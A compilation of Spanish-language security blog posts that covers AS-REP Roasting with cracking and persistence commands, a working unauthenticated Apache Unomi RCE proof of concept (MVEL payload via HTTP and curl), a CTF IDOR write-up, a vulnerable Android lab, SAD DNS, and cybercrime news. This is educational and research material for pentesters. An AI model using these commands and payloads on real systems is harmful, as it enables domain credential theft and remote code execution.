ASREPRoast o AS-REP Roasting

El ASREPRoast es una técnica parecida a Kerberoasting que intenta crackear offline las contraseñas de los usuarios de servicio pero las de los que tienen el atributo DONT_REQ_PREAUTH, es decir, los que no se les requiere pre-autenticación en kerberos. 

Por supuesto, no se recomienda habilitar esto porque sin autenticación previa un atacante puede enviar directamente una solicitud ficticia de autenticación sin conocer las credenciales (mensaje KRB_AS_REQ). El KDC devolverá un TGT cifrado y el atacante puede hacerle fuerza bruta de forma offline. Al verificar los logs del KDC, no se verá nada excepto una única solicitud de TGT.

Además, no se necesita una cuenta de dominio para realizar este ataque, solo una conexión al DC. No obstante con una cuenta de dominio se puede realizar una consulta LDAP para ver usuarios tienen marcado ésto. Por ej. con PowerView:

Get-DomainUser -PreauthNotRequired -verbose

Petición AS_REP

Linux

Probando una lista de usuarios en usernames.txt:
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast

Usando credenciales de dominio para extraer y usar los objetivos:
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

Windows

Rubeus:
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast

ASREPRoast.ps1:
Get-ASREPHash -Username VPN114user -verbose

Cracking

John the Ripper:
john --wordlist=passwords_kerb.txt hashes.asreproast

Hashcat:
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Persistencia

Forzar la pre-autenticación no requerida para un usuario en el que tienes permisos GenericAll (o permisos para escribir en sus propiedades):
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

Fuentes:

• ASREPRoast
• Kerberos (I): ¿Cómo funciona Kerberos? – Teoría
• Kerberos (II): ¿Como atacar Kerberos?
• AS-REP Roasting
• Do Not Require Kerberos Pre-Authentication, for users created by Ambari on AD

RCE sin autenticación previa en Apache Unomi mediante inyecciones MVEL y OGNL (CVE-2020-13942)

Unomi es una plataforma de Apache hecha en Java para manejar datos de cliente. Recientemente Eugene Rojavski publicaba aquí una vulnerabilidad de ejecución remota de código o RCE sin necesidad previa de autenticación. 

Para la misma. hay dos vectores: mediante inyección MVEL y mediante inyección OGNL. Ambos apuntan a un código diferente, aunque los payloads son relativamente similares. 

El fix del CVE anterior https://nvd.nist.gov/vuln/detail/CVE-2020-11975 intentó limitar la ejecución de expresiones OGNL, pero omitió completamente MVEL. El CVE-2020-13942 bypassea el parche realizado en la versión 1.5.1. 

A continuación se muestran las peticiones HTTP (BurpSuite o curl) para obtener RCE contra cualquier servidor Unomi expuesto. Solo hay que cambiar el host y el Content-length de acuerdo con la URL de destino y el comando del sistema operativo. 

*Ambas POCs podrían obtener un 'HTTP/1.1 400 Header Folding' como respuesta, normalmente debido a que falta un \r\n en el payload. Si ocurre, intentar copiarlo y pegarlo otra vez. 

1) MVEL POC 

HTTP request

POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}

Curl:

curl -X POST http://localhost:8181/context.json --header 'Content-type: application/json' --data '{"filters":[{"id":"boom ","filters":[{"condition":{"parameterValues":{"propertyName":"prop","comparisonOperator":"equals","propertyValue":"script::Runtime r=Runtime.getRuntime();r.exec(\"gnome-calculator\");"},"type":"profilePropertyCondition"}}]}],"sessionId":"boom"}'

Writeup Cyber Polygon 2020

A principios de julio tuvo lugar el Cyber Polygon 2020, un ciberejercicio internacional organizado por el Centro de Ciberseguridad del Foro Económico Mundial, Sberbank Group y BI.ZONE. La modalidad era un CTF de tipo ataque-defensa y el escenario era el siguiente: 

La infraestructura virtual de una organización contenía un servicio que procesaba información confidencial de un cliente. Este servicio se convirtió en punto de interés de un grupo APT. Los ciberdelincuentes iban a robar datos confidenciales de los usuarios y luego revenderlos en la Darknet para recibir un beneficio económico y dañar la reputación de la empresa. El grupo APT estudió el sistema de destino previamente y descubrió varias vulnerabilidades críticas. El Actor lanzó el ataque el día del ejercicio. 

Y ese era el eje central. Sin embargo, durante la capacitación de Cyber ​​Polygon, no se esperaba que los participantes se atacaran entre sí; todo lo que tenían que hacer era proteger sus propios servicios. Por lo tanto se tuvieron que poner sólo la chaqueta de azulones/Blue Teams y sus objetivos eran: 

• contener el ataque lo más rápido posible 
• minimizar la cantidad de información robada 
• mantener la disponibilidad del servicio 

A cada equipo participante se le proporcionó un servidor virtual Linux con un servicio con 5 vulnerabilidades que debían proteger: 

1. Insecure Direct Object References (IDOR) 

La vulnerabilidad conocida como referencia de objeto directo inseguro (IDOR) es causada por fallos en los mecanismos de autorización. La vulnerabilidad permite que un atacante obtenga acceso a datos de usuario que de otro modo serían inaccesibles. Concretamente ésta estaba en el método get de la clase UsersController. 

 backend/app/controllers/users_controller.rb:

def get
  user = User.find(params[:id])
  if params[:full].present?
    json_response({
      id: user.id,
      name: user.name,
      email: user.email,
      phone: user.phone
    })
  else
    json_response({
      id: user.id,
      name: user.name
    })
  end
end

Al llamar a la dirección http://example.com/api/users/ cualquiera podía obtener un objeto JSON que contenía un id numérico y un nombre de usuario correspondiente al mismo. Pero esta funcionalidad como tal no representaba ninguna amenaza para los datos del usuario. En su lugar, debían centrarse en el siguiente fragmento de código:

if params[:full].present?
  json_response({
    id: user.id,
    name: user.name,
    email: user.email,
    phone: user.phone
  })

Había que tener en cuenta que si se transmite el parámetro completo en una petición, la respuesta del servidor devolvía más datos: además del ID y el nombre de usuario, contenía su correo electrónico y número de teléfono. Las flags estaban almacenadas y podían ser robadas del campo user.phone en el directorio del servicio del juego (esta actividad podría detectarse, por ejemplo, analizando el tráfico de la red). Por lo tanto sólo había que mandar una petición del tipo http://example.com/api/users/?full=1 y buscar la flag en el campo de teléfono del JSON de salida. 

Damn-Vulnerable-Bank: una app Android insegura para practicar

Damn Vulnerable Bank es una aplicación para Android que simula ser una app de un banco y que nos proporciona una interfaz para realizar pruebas y poder obtener una comprensión detallada de los aspectos internos y de seguridad más comunes.

Cómo utilizar la aplicación

- Clonar el repositorio:

$ git clone https://github.com/rewanth1997/Damn-Vulnerable-Bank.git

Servidor de Backend

$ cd Damn-Vulnerable-Bank/BackendServer

Con docker:

• $ docker-compose up --build
• Hacer una petición a /api/health/check para ver el estado
•     curl <IP>:<magic_port>/api/health/check
  

Sin docker:

• Instalar dependencias
• nodejs (v10.19.0)
• npm (6.14.4)
• mysql (Ver 8.0.21)
• Actualizar la configuración de mysql (campos de nombre de usuario, contraseña) en config/config.json
• Insertar datos en la base de datos
• cat database/schema+data.sql | mysql -u root -p 
• Instalar paquetes npm
• npm install
• Iniciar el servidor de aplicaciones
• npm start
• Hacer una petición a /api/health/check para ver el estado
•     curl <IP>:<magic_port>/api/health/check

SAD DNS: un nuevo ataque que puede hacer tambalear los cimientos de Internet

En 2008 Dan Kaminsky publicó uno de los fallos más graves en Internet de la historia, uno por el que cualquier atacante podía redirigir a cualquiera a otros sitios falsos, incluso si la víctima tecleaba de manera correcta dicha dirección en el navegador. Con la coordinación de toda la industria, miles de proveedores de DNS de todo el mundo llevaron a cabo una solución que evitó este escenario apocalíptico. Pero claro, si hablamos de apocalipsis 2020 es un año especial...

El pasado miércoles investigadores de las Universidades de California y Tsinghua publicaron una serie de fallos de seguridad que reviven un ataque de envenamiento de caché DNS similar al de Kaminsky: el bautizado como SAD DNS o Side-channel AttackeD DNS. El nombre de side-channel o canal lateral es porque se identifica el puerto UDP abierto por el cliente para resolver un nombre determinado ya que con eso y el ID de la transacción (TxID) se le puede enviar una respuesta falsificada. Y, ¿cómo puede identificar un atacante el puerto UDP abierto por su víctima? Veamos...

Si escaneamos un puerto UDP que está abierto no recibiremos respuesta pero si el puerto está cerrado el servidor responderá por ICMP con el mensaje de que el puerto es inalcanzable. Sin embargo, para evitar ser saturado los sistemas limitan las respuestas a 1000 por segundo en Linux o 200 por segundo en Windows. Precisamente, con esa lógica y esos límites juega este ataque: si después de una verificación de un rango de 1000 puertos (se escanean 50 puertos cada 20 ms realmente) volvemos a lanzar otra petición, esta vez con la IP no spoofeada, y nos devuelve un paquete ICMP entonces ya sabemos que uno de ellos estaba abierto. Entonces para obtener el puerto abierto evidentemente sólo necesitaremos unos 65 segundos (65536 puertos / 1000 límite x 1 segundo). voilá! 

Con el puerto de origen identificado todo lo que un atacante tiene que hacer es insertar una dirección IP maliciosa para redirigir el tráfico del sitio web y realizar con éxito un ataque de envenenamiento de caché DNS.

Este nuevo fallo afecta a los sistemas operativos Linux (kernel 3.18-5.10), Windows Server 2019 (versión 1809) y posteriores, macOS 10.15 y posteriores, y FreeBSD 12.1.0 y posteriores. Se estima que el 34% de los resolvers abiertos en Internet son vulnerables, 85% de los cuales forman parte de servicios DNS tan populares como los de Google y Cloudflare.

Para mitigar este ataque se recomienda deshabilitar las respuestas ICMP salientes y configurar el tiempo de espera de las consultas de DNS de manera más agresiva. Por otro lado, el parche del kernel lo que hace es que no haya un valor fijo de 1000 respuestas por segundo, sino de un valor aleatorio de entre 500 y 2000.

Fuentes:

• Paper: https://dl.acm.org/doi/pdf/10.1145/3372297.3417280
• SAD DNS — New Flaws Re-Enable DNS Cache Poisoning Attacks
• How to temporarily mitigate SAD DNS for Linux servers and desktops
• SAD DNS Explained

Decoder++: una herramienta para codificar/decodificar datos en varios formatos

Decoder++ de bytebutcher es una aplicación para pentesters y desarrolladores bastante chula para decodificar o codificar datos en varios formatos. 

Para instalar la herramienta simplemente podemos usar pip u obtener la fuente desde el repo de Github:

pip3 install decoder-plus-plus

o git clone https://github.com/bytebutcher/decoder-plus-plus.git

En modo gráfico tenemos dos opciones: main-window-mode o dialog-mode. Mientras que el primer modo admite tabs, con el segundo tenemos la opción de devolver el contenido transformado a stdout para su posterior procesamiento. Esto es muy útil si queremos llamar a Decoder++ desde otras herramientas como BurpSuite (echa un vistazo a la extensión de BurpSuite Send-to) o cualquier otro script en el que queramos agregar una interfaz gráfica de usuario.

Por otro lado, si no queremos iniciar una interfaz gráfica podemos usar también la herramienta desde la línea de comandos:

(/tools/decoder-plus-plus/dpp$ python3 runner.py)
$ dpp -e base64 -h sha1 "encodeame y hasheame esto por la gracia de Shon"
763c99199ea69043ea7edb4dcb90e53457e57cd7

Usan un zero-day de Solaris para atacar redes corporativas

Desde hace algún tiempo se viene observando un grupo bautizado por Mandiant como UNC1945 que utiliza una serie de herramientas y técnicas contra sistemas Windows, Linux y muy reseñablemente contra sistemas Solaris. Para los que no habéis tenido la oportunidad de tocar este sistema Unix ex-de Sun Microsystems he de deciros que era cosa fina a lomos de un Sparc dentro de una Enteprise 450 o hasta de una Ultra 5/10... pero esas son historias de un admin-cebolleta de hace más de 15 años... 

Para dar un poquito más de contexto decir que el código fuente de Solaris se liberó en 2005 convirtiéndose en OpenSolaris hasta el año 2010 en el que Oracle compró Sun y decidió que dejara de ser "open". La última versión estable, la 11.4, data de 2018 es decir de hace más de 2 años. Aún así mantiene soporte y sigue habiendo todavía muchos servidores Solaris en circulación (incluso versiones obsoletas) y actores como UNC1945 lo consideran interesante de explotar pues pueden suponer un target importante de cara a infiltrarse en muchas redes corporativas.

Curiosamente, en abril de 2020, encontrábamos en el black market por $3000 USD un exploit con la descripción "Oracle Solaris SSHD Remote Root Exploit" llamado EVILSUN y, oh casualidad, a mediados de 2020 se descubrió en un servidor Solaris 9 una herramienta de UNC1945 que contenía un 0-day bautizado con el CVE-2020-14871 que explotaba una vulnerabilidad recientemente parcheada en el módulo PAM (Pluggable Authentication Module).

Vídeos de #hc0n2020, la III conferencia de Hackplayers

El 31 de enero y 1 de febrero de 2020 tuvimos la suerte de poder celebrar la tercera edición la conferencia de Hackplayers h-c0n, que tuvo lugar en la Nave de Madrid materializando todas nuestras ilusiones: nunca habíamos podido compartir con vosotros tanto contenido en dos días que fueron verdaderamente intensos e inolvidables. El resto es ya historia de la que, junto al staff, los ponentes, patrocinadores y asistentes, quedará remanente en nuestra memoria, y creerme que sólo tenemos palabras y sentimientos de agradecimiento para todos los formasteis parte de ella de cualquiera de las maneras posibles. Gracias otra vez. 

Echando la mirada atrás, por aquel entonces llegaban ya noticias del SARS-CoV-2 presente en China que sin embargo creíamos ajeno, como algo muy remoto. Semanas después ya sabéis que el coronavirus empezó a expandirse hasta convertirse en una pandemia mundial. Nuestra vida cambió radicalmente y eventos presenciales como h-c0n y el resto de conferencias evidentemente ya no son posibles como antes. Seguro que muchos pensaréis (y estamos de acuerdo) que ante esta grave crisis eso ya casi carece de verdadera importancia, pero es irremediable añorar reuniones como aquellas, encontrarnos sin Internet de por medio y tener la posibilidad de echar unas risas y unas cervezas, aunque sea de vez en cuando. ¡Pero seguro volveremos!. 

Por tanto inmersos en el recuerdo de nuestra conferencia de este año, queríamos publicar los vídeos de las charlas que se grabaron en el auditorio principal, gracias a los ponentes correspondientes. Nos hubiese gustado haber podido grabar y compartir con vosotros también las del resto de tracks pero nos faltaron tiempo y medios, así que nos lo apuntamos para la siguiente. Hasta entonces, os dejamos dichos videos para que los disfruteis:

 

 #h-c0n2020 

• URL de videos: https://www.h-c0n.com/p/videos.html 
• Info de ponencias: https://www.h-c0n.com/p/ponencias2020.html 
• Ponentes: https://www.h-c0n.com/p/ponentes2020.html

¿Cómo se organizan los ciberdelincuentes?

A estas alturas yo creo que ya nadie piensa que todos los ciberdelicuentes o cibercriminales son adolescentes trabajando en un sótano con una sudadera con capucha. No digo que no los haya, como lobos solitarios en la hondonada del bosque, pero está claro y meridiano que los grandes "actores" se organizan en complejas bandas con una estructura que se asemeja a la de muchas empresas de tecnología. De hecho imitan tanto su comportamiento que podemos ver que a menudo están activas durante el horario de oficina, se toman los fines de semana libres, trabajan en horario regular, sus miembros se toman vacaciones... Luego establecen objetivos y hasta establecen metas trimestrales.  

Por otro lado el organigrama de las bandas varía evidentemente pero coinciden casi siempre que tienen a un líder, como un director ejecutivo, que supervisa los objetivos más amplios de la organización. Luego por debajo de él tiene una serie de "gerentes de proyecto", que coordinan otras personas a su cargo para las diferentes partes de cada ciberataque. Incluso tienen contactos con otras bandas (con otras suelen incluso competir y rivalizar), gente especializada en finanzas, captación de mulas, etc. 

Lo que os traigo hoy es un simple ejercicio de imaginación de lo que sería la organización de una banda de ciberdelincuentes de tamaño "medio", con sus perfiles y sus roles, y este ha sido el resultado:

Nota: Las fotos son realmente de gente que no existe, generadas por IA de GAN (generative adversarial network) y obtenidas de https://thispersondoesnotexist.com/. 

Como veis se trata de un grupo bastante multidisciplinario con distintos y variados skills:

Miembros

• Team leader: responsable de dirigir todas las "misiones" y llevar la comunicación con los miembros de la banda
• Intrusion coordinator: coordina todas las operaciones a nivel técnico y tiene una amplia visión de cada campaña
• Coders: desarrolladores de malware que se centran en desarrollar software para infectar los sistemas, persistir, propagarse automáticamente y evadir las detecciones
• Engineer: mantiene la infraestructura necesaria y administra los sistemas comprometidos o bots
• Red teamers: diseñan y llevan cabo las distintas fases de la cadena de ataque, identificando y ejecutando todas las tácticas y técnicas oportunas
• Data miner: investiga, organiza y formatea todos los datos robados para evaluar su valor y monetizarlos
• Money Specialist: identifica la forma más óptima, estratégica y segura de conseguir dinero con las operaciones
  

Externos

• Mule recruiter: coordina la captación y participación de mulas para la obtención y/o blanqueo de rendimientos monetarios obtenidos
• Contracting: a menudo esponsorizados por terceros anónimos solicitan distintos servicios a la banda
• Insiders: normalmente empleados sobornados para facilitar información e incluso puertas traseras y otras acciones para facilitar la intrusión
  

¿Qué opináis? ¿echáis de menos la figura de algún otro crack en la banda? ;)

SIEM, ¿Durmiendo con el enemigo?

En la mayoría de las empresas medianas y grandes, el cerebro de la seguridad se basa en un SIEM (Security Information and Event Managment), donde todos los equipos de red y servidores envían los eventos de cada uno de los servicios o sistemas operativos, para que a través de las políticas y correlaciones configuradas, se generen las alertas de alguna anomalía o un ataque en la red.

Para que esto funcione es fundamental que el SIEM tenga algún mecanismo de acceso a los diferentes servicios o a los diferentes eventos de cada sistema, por lo cual es un elemento en la red que no solo sirve de concentrador sino que también permite acceder de cierta forma a diferentes. Lo que significa que para las áreas de seguridad es un elemento que debe tener una especial atención, no solo en su funcionamiento sino en sus configuraciones de seguridad, por lo que en ElevenPaths desde hace un par de años hemos estado realizado varias investigaciones entorno a como las empresas configuran la seguridad de este elemento central para la seguridad de las empresas.

El objetivo de la investigación fue desarrollar una herramienta que permita a los equipos de red team detectar las vulnerabilidades más comunes que se generan por malas configuraciones de los SIEM, buscando aprovechar fallos en el manejo de las API, hacer ataques de diccionario, usar las contraseñas por defecto o aprovecharse de los puertos de administración que se dejan configurados. Por lo que se inicio con el desarrollo hace un año, haciendo pruebas en tres diferentes SIEM y hoy se ha llevado la investigación a siete plataformas.

Usando para el desarrollo de las pruebas sus versiones libres y las configuraciones por defecto que tiene cada uno de los SIEM que más se usan en el mercado o que tras la presentación de la herramienta en DEFCON Europe en el 2019 nos fueron solicitando los usuarios, así en esta versión 0.2 se pueden hacer pruebas sobre:

    • Splunk
    • Graylog
    • OSSIM
    • QRadar
    • McAfee SIEM
    • SIEMonster
    • ElasticSIEM

La herramienta es completamente publica y pueden descargarla de GitHub y escrita en Python 3, por lo que la comunidad puede aportar o reportar los bugs que detecte y así seguiremos con la investigación.